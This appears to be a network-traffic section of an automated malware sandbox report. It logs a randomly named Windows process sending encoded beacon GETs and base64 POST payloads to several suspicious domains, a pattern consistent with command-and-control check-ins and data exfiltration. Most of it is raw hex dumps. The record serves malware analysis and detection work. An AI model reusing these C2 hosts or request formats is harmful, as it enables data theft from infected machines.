iYru4k81c9+vvo+cdGIY1XFgkHPsoBr2uDPEvqmSCknvu1LLD7wAnDZEECfYlwGITkcycqiZreDkz91Uw9EK7UaMMRrzGhvQoM2Vo881i6OwWJ3CkyjpUgU+NmhSClwqXogDqGTG+LllZUMLwmZK+Ywb4FscRvgv+6XhL8GiIHAxOk0tfZ4OlimxJoXt92/2tOmRTQ2Zd1qxvVUKNOYfWE2ehBjs9/r0I3DG0GbzGpbApAtgsNhqW4J+1jix88FrWt5Qrsw6ZAhZ9Vesgnj7BpxPut89qpcOhGMVFWPgcnVpaydBSShK8RZDOT3ASo1QjHyNZBp9GoG97VHD/8QIoxBYnlZjoywK7CJwynNTuF9AZkRC/QkoBWelW [TRUNCATED]
Jan 14, 2025 10:25:25.619617939 CET	1236	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Tue, 14 Jan 2025 09:25:25 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 31 33 35 42 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a eb 92 e2 4a 72 fe 7f 9e 02 b7 c3 f6 6e 68 7a 74 07 d1 db 3d bb ba 21 09 90 90 04 02 84 c3 71 42 e8 8e ae e8 0e 1b 7e 20 bf 86 9f cc 25 ba 7b 9a 66 ba cf cc 3a fc c3 35 13 81 a4 aa ca ca ca fc 32 b3 3a b3 7e fb ed b7 c7 7f e2 16 ec ca 54 f9 41 50 25 f1 b7 df 1e 9f 7f 06 a0 3d 06 ae e5 7c fb ed f2 98 b8 95 05 46 54 f9 bd 7b ac c3 e6 e9 8e cd d2 ca 4d ab fb ea 94 bb 77 03 fb f9 ed e9 ae 72 bb 0a ee 49 fc 65 60 07 56 51 ba d5 53 5d 79 f7 d4 dd a7 74 2c 3b 70 ef fb f9 45 16 5f 11 4a b3 7b bb ef fa 74 a2 5a 58 7e 62 fd 23 33 f8 2e 0f 0b b7 bc 9a 82 bc a3 9e 5a 89 fb 74 d7 84 6e 9b 67 45 75 35 ac 0d 9d 2a 78 72 dc 26 b4 dd fb cb cb 97 41 98 86 55 68 c5 f7 a5 6d c5 ee 13 fa f5 3b a9 2a ac 62 f7 1b 81 10 03 25 ab 06 93 ac 4e 9d 47 f8 f9 e3 b3 28 cb ea 14 bb 83 5e 6e 2f e2 b2 cb f2 85 8f 5e d4 fb cc 39 0d fe 7e 19 da bf f6 cd 03 d2 b9 f7 ac 24 8c 4f 0f 03 ba 00 cb 7e 19 88 6e dc b8 55 68 5b 5f 06 a5 95 96 f7 a5 5b 84 de 5f 7e 9c 56 86 67 f7 61 80 12 79 f7 [TRUNCATED] Data Ascii: 135BZJrnhzt=!qB~ %{f:52:~TAP%=\|FT{MwrIe`VQS]yt,;pE_J{tZX~b#3.ZtngEu5xr&AUhm;b%NG(^n/^9~$O~nUh[_[_~Vgay3S>pC?@WJ`E8+]a}p}_n9NUa~gt*/`Y7p2- }r_{Y@"+=3yUW^g)\km_",-0U%LY$.\cL/5u;_w\Xq]ps:n\U1Na}K{-G'ua&H~00}31qCa^^WXBWxGV^%^iuq+\|g~W&0zHo^19_G1n[Z^\|>/Vz 2ycW+w7;7lyqWp>PNnF.\|Xo}S};oxefs@8~Ov:D[9ob0\|^O5F7?5`~}Ds@q:?]Gz9^
Jan 14, 2025 10:25:25.619640112 CET	1236	IN	Data Raw: cd 19 9f 10 28 81 bf a9 e1 8d 9f bf 25 ae 13 5a 83 3f 25 c0 91 be 28 66 34 a4 f2 ee cf 37 cb dc a2 f6 a6 bb 17 5e 9e 95 97 08 f5 30 28 dc 18 f8 ba e6 c6 00 fb 31 bd c7 02 f6 d3 3e 0c 82 d0 71 dc f4 8d a5 be b7 6f 57 f1 e9 82 ec 67 bb 7e 3f ee 8d Data Ascii: (%Z?%(f47^0(1>qoWg~?~-kF~wPxE=)o7$~o~}/,0v>_r\x>= U.dQ'B3}#?p=27/tX7ero>z
Jan 14, 2025 10:25:25.619654894 CET	1236	IN	Data Raw: 77 6c c0 6f c3 45 89 8f e7 b0 64 b6 e1 a2 d3 45 df e5 67 76 b2 97 a5 b1 6d 8b 3a eb 74 86 6b 5a e9 24 d7 a6 32 63 70 d2 a4 6b 51 3b 98 86 0c 9d 25 d1 19 ef 08 3c 86 d2 7a 23 24 9b 20 d2 4a c4 1a 9a 23 53 5c bb a3 11 96 a0 d5 2e 36 18 3e 98 49 e3 Data Ascii: wloEdEgvm:tkZ$2cpkQ;%<z#$ J#S\.6>Ihsg%@THW4ih>[$Uz8'fo*uOg\d7nZY.epi1LBu&O]ELvEebgT.^\|,yQ=Vo#IvbI%I
Jan 14, 2025 10:25:25.619671106 CET	1236	IN	Data Raw: 27 e6 d8 19 6d 08 60 d4 2a d3 b4 e7 e3 22 ae 57 4d c0 31 6b 06 b3 08 e9 d4 c1 84 d1 cd 8b 8e f2 b3 93 bd 41 0c de 5f 10 27 6c 8e 8b 90 11 93 5b 09 26 9a cc 1e 16 bb 88 c6 99 bc c1 d3 83 b7 84 d3 40 1f 51 28 70 cd ca b0 22 16 ee a6 d3 ba 3a 4a fd Data Ascii: 'm`*"WM1kA_'l[&@Q(p":Jz.)uBocXd2$Z4K4%l!lBNAy+Mkli/123)=nai7k^%JA3oT7i\z9MQ2Y$VVtZ0"
Jan 14, 2025 10:25:25.619688034 CET	288	IN	Data Raw: 8c 79 b6 b6 b7 5c f3 dd 00 fe 09 f9 ab 4d 5d 67 97 3f d9 cb 35 fb 1f 63 f6 33 48 fd e9 05 53 7f fe 54 14 97 dd be 57 e4 f5 72 cf dd 7f 24 2e 20 cb 77 12 78 96 d3 dd b7 47 f8 b3 59 8f f0 47 ba b9 41 d3 07 7c 5d 79 86 57 16 1f 9f 2b 7a ef a5 fd cb Data Ascii: y\M]g?5c3HSTWr$. wxGYGA\|]yW+zz"dhn5J~/mk/g~v;"`OP?ZInpsu\WIrxU>d./@%;Xq5^f/Uo(5T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	57512	162.0.215.244	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:25:27.452646017 CET	445	OUT	GET /rpjd/?wz4=yOJpbVbkgz0HtUwQYARMSThcLcopmrPoDVX6GqNwoWWXZF3pcIj1Y13LV6gW4nMVJ2J858d+IDhJ+laaNqfHK1c6MutgW040XFAhxno1AdPNbACR1ywEbhk=&OvV=2njD6f80EDOLQ8 HTTP/1.1 Host: www.prediksipreman.fyi Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko
Jan 14, 2025 10:25:28.131764889 CET	1236	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked date: Tue, 14 Jan 2025 09:25:27 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 32 37 38 35 0d 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 [TRUNCATED] Data Ascii: 2785<!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>404 Not Found</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; [TRUNCATED]
Jan 14, 2025 10:25:28.131808996 CET	1236	IN	Data Raw: 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 Data Ascii: } .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-rep
Jan 14, 2025 10:25:28.131839991 CET	448	IN	Data Raw: 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: -image { padding: 10px; } .info-heading { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address {
Jan 14, 2025 10:25:28.131874084 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 70 79 72 69 67 68 74 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 78 3b 0a 20 Data Ascii: border: 0; } .copyright { font-size: 10px; color: #3F4143; } @media (min-width: 768px) { .additional-info { position: relative; overf
Jan 14, 2025 10:25:28.131905079 CET	1236	IN	Data Raw: 69 6e 6c 69 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 39 39 32 70 78 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 61 Data Ascii: inline; } } @media (min-width: 992px) { .additional-info { background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAPAAAADqCAMAAACrxjhdAAAAt1BMVEUAAAAAAAD/////////////////////
Jan 14, 2025 10:25:28.131937981 CET	1236	IN	Data Raw: 70 63 61 46 74 57 34 48 38 69 49 30 67 42 32 4d 7a 66 45 63 56 33 67 42 2b 49 6b 66 44 74 62 79 43 41 54 67 74 48 42 37 6c 33 54 72 4b 55 47 32 79 57 4f 65 37 4f 32 4b 59 51 49 50 45 37 78 46 44 31 32 59 76 79 36 53 76 71 6f 4c 4f 4d 66 39 35 6b Data Ascii: pcaFtW4H8iI0gB2MzfEcV3gB+IkfDtbyCATgtHB7l3TrKUG2yWOe7O2KYQIPE7xFD12Yvy6SvqoLOMf95k+BvgqogCFCx22NdltO1epYc7ycEKSaI9+UAYPGOlKDQYyxDP9Npqv0NKZkS7GuNRQig5pvaYQwdTztjRnCrr/l0b2UgO+wRtMiFCAzqpLL0So+hWmi61Nn3aqKGEzDfFrmEoKqcWSFDRONSrAU0iFYLrHU2RKB3q+
Jan 14, 2025 10:25:28.131969929 CET	1236	IN	Data Raw: 4f 4b 4a 75 39 38 56 30 30 36 4c 62 53 49 6b 76 42 73 52 6c 7a 42 50 59 6b 49 52 49 48 31 37 34 33 69 45 69 65 6c 42 54 34 69 51 52 6b 4e 48 77 55 51 4d 55 74 54 57 58 71 73 69 51 75 67 42 69 77 6c 37 33 4f 4f 72 56 30 52 49 71 2f 36 2b 42 49 50 Data Ascii: OKJu98V006LbSIkvBsRlzBPYkIRIH1743iEielBT4iQRkNHwUQMUtTWXqsiQugBiwl73OOrV0RIq/6+BIPPVVLrbAVAulQKIwAO/9jUKyJk51SmO5wwhpHXac0E3EQEfRIu6TfBYLQn/J3eCcFdE7i4dwmHckWErJsmU7eIsGnLxpVpVETI4kVM3VCUw1+XdRPRaM0k64jL1LEFkBBGRw7ad1ZE+AVH74Xh8NQM/dZMxVKDkPCy
Jan 14, 2025 10:25:28.132004023 CET	1236	IN	Data Raw: 30 66 58 32 77 65 53 38 38 58 37 58 36 68 58 52 44 44 52 7a 64 77 48 5a 2f 35 44 32 68 6a 6a 67 68 74 33 4d 62 35 79 31 4e 49 4e 71 2b 62 65 5a 42 75 38 64 38 34 36 35 37 77 50 59 66 4e 38 70 5a 42 63 30 67 2b 4a 4b 69 4b 59 69 4e 72 39 72 34 76 Data Ascii: 0fX2weS88X7X6hXRDDRzdwHZ/5D2hjjght3Mb5y1NINq+beZBu8d84657wPYfN8pZBc0g+JKiKYiNr9r4v1Zrvdbtazp16TSCOfZppMiGD6iVqr271oVokU6AJ9U5FGnXIww5mH+kLEhxI1cl20QCGCTgRMA/3+F2lRXXtzXhURPTTt9GQA6h+d/1dE5An9GRH5o5mwIgKHvhCBi5j60Bci8oe+EKEPrYmg+QNNOw3PdCLgpBUR
Jan 14, 2025 10:25:28.132035017 CET	1236	IN	Data Raw: 20 57 65 62 4d 61 73 74 65 72 3c 2f 61 3e 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 72 65 61 73 6f 6e 2d 74 65 78 74 22 3e 54 68 65 20 73 65 72 Data Ascii: WebMaster</a>. </section> <p class="reason-text">The server cannot find the requested page:</p> </div> <section class="additional-info"> <div class="container"> <div class="
Jan 14, 2025 10:25:28.132069111 CET	11	IN	Data Raw: 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: ml>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	57544	3.33.130.190	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:25:33.304498911 CET	715	OUT	POST /qjug/ HTTP/1.1 Host: www.scottconsults.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.scottconsults.top Referer: http://www.scottconsults.top/qjug/ Cache-Control: no-cache Connection: close Content-Length: 200 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko Data Raw: 77 7a 34 3d 59 65 6b 45 66 5a 74 72 49 61 58 59 72 39 59 58 37 39 44 4b 67 70 76 33 55 31 39 7a 59 55 59 36 6b 48 52 68 66 41 39 76 4f 74 39 53 35 51 49 70 2f 36 4e 46 53 2b 6c 6c 74 67 38 6f 41 75 2b 7a 43 7a 2f 48 51 2f 62 33 69 4c 5a 58 34 69 47 75 73 66 4e 6a 4c 62 66 72 4a 75 63 74 49 6e 76 67 50 68 65 32 64 57 55 6e 4e 4d 69 4b 66 51 31 57 6c 50 56 6f 69 4a 31 66 79 54 42 65 65 6e 63 30 37 71 55 4c 6a 41 79 5a 69 69 52 48 4e 59 49 48 78 32 70 55 31 7a 4c 4a 37 63 2b 6c 35 57 46 37 34 37 43 2b 55 61 59 39 57 4c 78 33 6f 75 4f 66 6d 6a 53 64 49 63 72 2b 4f 42 48 69 64 2f 4d 72 6b 77 3d 3d Data Ascii: wz4=YekEfZtrIaXYr9YX79DKgpv3U19zYUY6kHRhfA9vOt9S5QIp/6NFS+lltg8oAu+zCz/HQ/b3iLZX4iGusfNjLbfrJuctInvgPhe2dWUnNMiKfQ1WlPVoiJ1fyTBeenc07qULjAyZiiRHNYIHx2pU1zLJ7c+l5WF747C+UaY9WLx3ouOfmjSdIcr+OBHid/Mrkw==
Jan 14, 2025 10:25:33.751871109 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	57557	3.33.130.190	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:25:35.843641043 CET	735	OUT	POST /qjug/ HTTP/1.1 Host: www.scottconsults.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.scottconsults.top Referer: http://www.scottconsults.top/qjug/ Cache-Control: no-cache Connection: close Content-Length: 220 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko Data Raw: 77 7a 34 3d 59 65 6b 45 66 5a 74 72 49 61 58 59 74 63 49 58 35 66 72 4b 33 5a 76 77 52 31 39 7a 44 45 5a 7a 6b 48 4e 68 66 42 6f 79 4f 65 4a 53 35 78 34 70 38 37 4e 46 54 2b 6c 6c 31 77 38 74 45 75 2b 30 43 7a 7a 6c 51 36 37 33 69 4c 4e 58 34 6e 36 75 73 4d 31 69 4a 4c 66 70 47 4f 63 76 56 58 76 67 50 68 65 32 64 58 77 42 4e 4d 36 4b 65 68 6c 57 6d 72 42 6e 76 70 31 63 78 54 42 65 61 6e 63 6f 37 71 55 54 6a 42 75 7a 69 67 70 48 4e 64 4d 48 77 6b 42 58 73 44 4c 4c 2f 63 2f 36 70 46 6b 31 69 4c 72 4f 61 6f 49 48 51 4a 46 72 6b 49 44 46 33 53 7a 4b 61 63 50 4e 54 47 4f 57 51 38 78 69 2f 34 4c 51 6c 6a 6e 6a 78 2b 54 31 53 6c 46 48 78 39 64 67 37 37 34 3d Data Ascii: wz4=YekEfZtrIaXYtcIX5frK3ZvwR19zDEZzkHNhfBoyOeJS5x4p87NFT+ll1w8tEu+0CzzlQ673iLNX4n6usM1iJLfpGOcvVXvgPhe2dXwBNM6KehlWmrBnvp1cxTBeanco7qUTjBuzigpHNdMHwkBXsDLL/c/6pFk1iLrOaoIHQJFrkIDF3SzKacPNTGOWQ8xi/4LQljnjx+T1SlFHx9dg774=
Jan 14, 2025 10:25:36.292016029 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	57570	3.33.130.190	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:25:38.397027016 CET	10817	OUT	POST /qjug/ HTTP/1.1 Host: www.scottconsults.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.scottconsults.top Referer: http://www.scottconsults.top/qjug/ Cache-Control: no-cache Connection: close Content-Length: 10300 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko Data Raw: 77 7a 34 3d 59 65 6b 45 66 5a 74 72 49 61 58 59 74 63 49 58 35 66 72 4b 33 5a 76 77 52 31 39 7a 44 45 5a 7a 6b 48 4e 68 66 42 6f 79 4f 65 52 53 35 43 77 70 38 59 6c 46 4a 2b 6c 6c 72 67 38 73 45 75 2f 6f 43 7a 72 68 51 36 6e 6e 69 49 31 58 35 42 4f 75 37 74 31 69 44 4c 66 70 65 2b 63 75 49 6e 76 31 50 68 50 39 64 58 67 42 4e 4d 36 4b 65 69 74 57 79 50 56 6e 74 70 31 66 79 54 42 61 65 6e 63 4d 37 71 38 70 6a 42 61 4a 69 51 4a 48 4e 39 38 48 39 78 64 58 6b 44 4c 4e 36 63 2f 79 70 46 6f 2b 69 4c 32 33 61 70 4d 74 51 4b 5a 72 6e 2f 7a 66 6e 43 79 56 4e 71 54 2b 46 30 71 38 66 76 59 76 36 4c 50 32 30 6a 54 33 75 2f 53 61 52 7a 45 63 6c 34 45 67 35 4f 7a 39 61 41 55 75 39 62 64 74 76 65 57 48 5a 64 66 6b 44 71 54 55 35 5a 6e 79 52 75 37 41 50 50 47 77 62 4a 4f 41 59 7a 46 79 5a 69 59 47 75 7a 49 55 51 63 56 6a 58 6f 49 4f 6a 62 4d 45 2f 59 59 76 77 75 63 4e 77 48 6a 63 6c 6c 71 71 68 4f 6b 63 39 6a 4d 31 58 7a 37 39 34 66 55 48 30 59 65 34 42 79 45 36 6e 2f 35 38 6f 2b 69 4f 47 46 6d 39 39 59 5a 38 63 6f [TRUNCATED] Data Ascii: wz4=YekEfZtrIaXYtcIX5frK3ZvwR19zDEZzkHNhfBoyOeRS5Cwp8YlFJ+llrg8sEu/oCzrhQ6nniI1X5BOu7t1iDLfpe+cuInv1PhP9dXgBNM6KeitWyPVntp1fyTBaencM7q8pjBaJiQJHN98H9xdXkDLN6c/ypFo+iL23apMtQKZrn/zfnCyVNqT+F0q8fvYv6LP20jT3u/SaRzEcl4Eg5Oz9aAUu9bdtveWHZdfkDqTU5ZnyRu7APPGwbJOAYzFyZiYGuzIUQcVjXoIOjbME/YYvwucNwHjcllqqhOkc9jM1Xz794fUH0Ye4ByE6n/58o+iOGFm99YZ8covyD28Q0szmpfMffNqQ/ly0bXaPVuAFHPeC3c54KF1QjXIOipXiTosDncPtBK7RQT+fL2eKGLN87SDUA10Q+X5QzVa7PF5I2VK2/3uvfHdZZmclgh2aiAsUzI7GPpjH7jqWu5AGOw2MbsWxjesr/r6O2jrWBPZNLS02YPlO8vRc/1PHf4t/GmsFG61132JYRs8i70pL7UjCbrDBr1GQ8R5poUkywMU7txZ85eK95wfFBKp5e6QiIccoA3dTEhqxhnwoZbt/LF4Q87TtjkM/GjO188aceaDneAisMAxESTiPlxPV0gUj5X2ATViqw/ZNpv5JjZSMuRrtr3ZAGwQNsd8K4qvmRcFA5Gut+pCmvT6QzyEE9P+d+4ZYbfP+I2JR6ajQYzy6o3enM5QUElyQHdpFSpPVTnEzslxz0IBGFdFIpJvkedfcDJXw3u1vRuTMnRPlYti9ReYoTWD+03sw0yD1wnRveWgndOExatplnHhUL8+G8EorLM7EgJcDDHqmYCHNAnQRBeqh0mU0VhN6YulN54gfW0NQdZ29qEXwvrC/848jw6234nFWZ1Q4Kln87klGWDE8lE4MqaGjaRHSjLwxkXn5EHYwJx9yVtUmIGEKguKk4KXlhGtjbxWhVv2juhM2cn+Vbl/2Q00PlhNW5hhSufu1lxcSK1MB [TRUNCATED]
Jan 14, 2025 10:25:38.842823982 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	57583	3.33.130.190	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:25:40.938628912 CET	444	OUT	GET /qjug/?wz4=VcMkcuIRceq81+g9yOCv0sbld0olDHkRvlNhYh95NOpnwjcC/r1DFPFDhAQ/BZSpNAD5Fbv04pxr6m2h9PMUHq+9H+1HT0zuQhfUSGVBQeWRfQVA8fdlyIU=&OvV=2njD6f80EDOLQ8 HTTP/1.1 Host: www.scottconsults.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko
Jan 14, 2025 10:25:41.405595064 CET	379	IN	HTTP/1.1 200 OK content-type: text/html date: Tue, 14 Jan 2025 09:25:41 GMT content-length: 258 connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 77 7a 34 3d 56 63 4d 6b 63 75 49 52 63 65 71 38 31 2b 67 39 79 4f 43 76 30 73 62 6c 64 30 6f 6c 44 48 6b 52 76 6c 4e 68 59 68 39 35 4e 4f 70 6e 77 6a 63 43 2f 72 31 44 46 50 46 44 68 41 51 2f 42 5a 53 70 4e 41 44 35 46 62 76 30 34 70 78 72 36 6d 32 68 39 50 4d 55 48 71 2b 39 48 2b 31 48 54 30 7a 75 51 68 66 55 53 47 56 42 51 65 57 52 66 51 56 41 38 66 64 6c 79 49 55 3d 26 4f 76 56 3d 32 6e 6a 44 36 66 38 30 45 44 4f 4c 51 38 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?wz4=VcMkcuIRceq81+g9yOCv0sbld0olDHkRvlNhYh95NOpnwjcC/r1DFPFDhAQ/BZSpNAD5Fbv04pxr6m2h9PMUHq+9H+1HT0zuQhfUSGVBQeWRfQVA8fdlyIU=&OvV=2njD6f80EDOLQ8"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	57600	38.47.233.52	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:25:54.877959967 CET	691	OUT	POST /dim8/ HTTP/1.1 Host: www.2q33e.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.2q33e.top Referer: http://www.2q33e.top/dim8/ Cache-Control: no-cache Connection: close Content-Length: 200 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko Data Raw: 77 7a 34 3d 66 4b 52 35 42 69 52 5a 41 2b 48 47 77 55 70 31 56 69 32 2b 67 64 4d 49 66 5a 64 2b 61 37 66 36 6f 5a 79 75 68 4d 79 73 51 52 31 6f 74 68 66 32 43 33 74 56 67 52 63 31 5a 50 34 39 34 47 78 72 4f 42 38 75 4b 4f 69 55 47 31 6f 64 42 47 66 44 4e 70 31 6d 34 58 4a 50 73 44 50 50 69 37 2b 31 65 50 33 4a 4e 52 67 57 64 41 73 30 32 34 7a 75 64 37 6e 66 48 49 39 48 73 6d 30 69 46 77 52 33 74 43 56 39 6c 58 39 6d 44 2b 4f 32 2b 68 6b 62 5a 32 6b 34 70 6e 6d 64 7a 5a 6c 50 36 4d 6a 35 6e 31 6b 63 78 54 45 47 41 78 4c 50 58 51 5a 4f 69 65 6d 33 6f 6a 6c 62 54 7a 5a 72 4f 32 31 30 34 67 3d 3d Data Ascii: wz4=fKR5BiRZA+HGwUp1Vi2+gdMIfZd+a7f6oZyuhMysQR1othf2C3tVgRc1ZP494GxrOB8uKOiUG1odBGfDNp1m4XJPsDPPi7+1eP3JNRgWdAs024zud7nfHI9Hsm0iFwR3tCV9lX9mD+O2+hkbZ2k4pnmdzZlP6Mj5n1kcxTEGAxLPXQZOiem3ojlbTzZrO2104g==
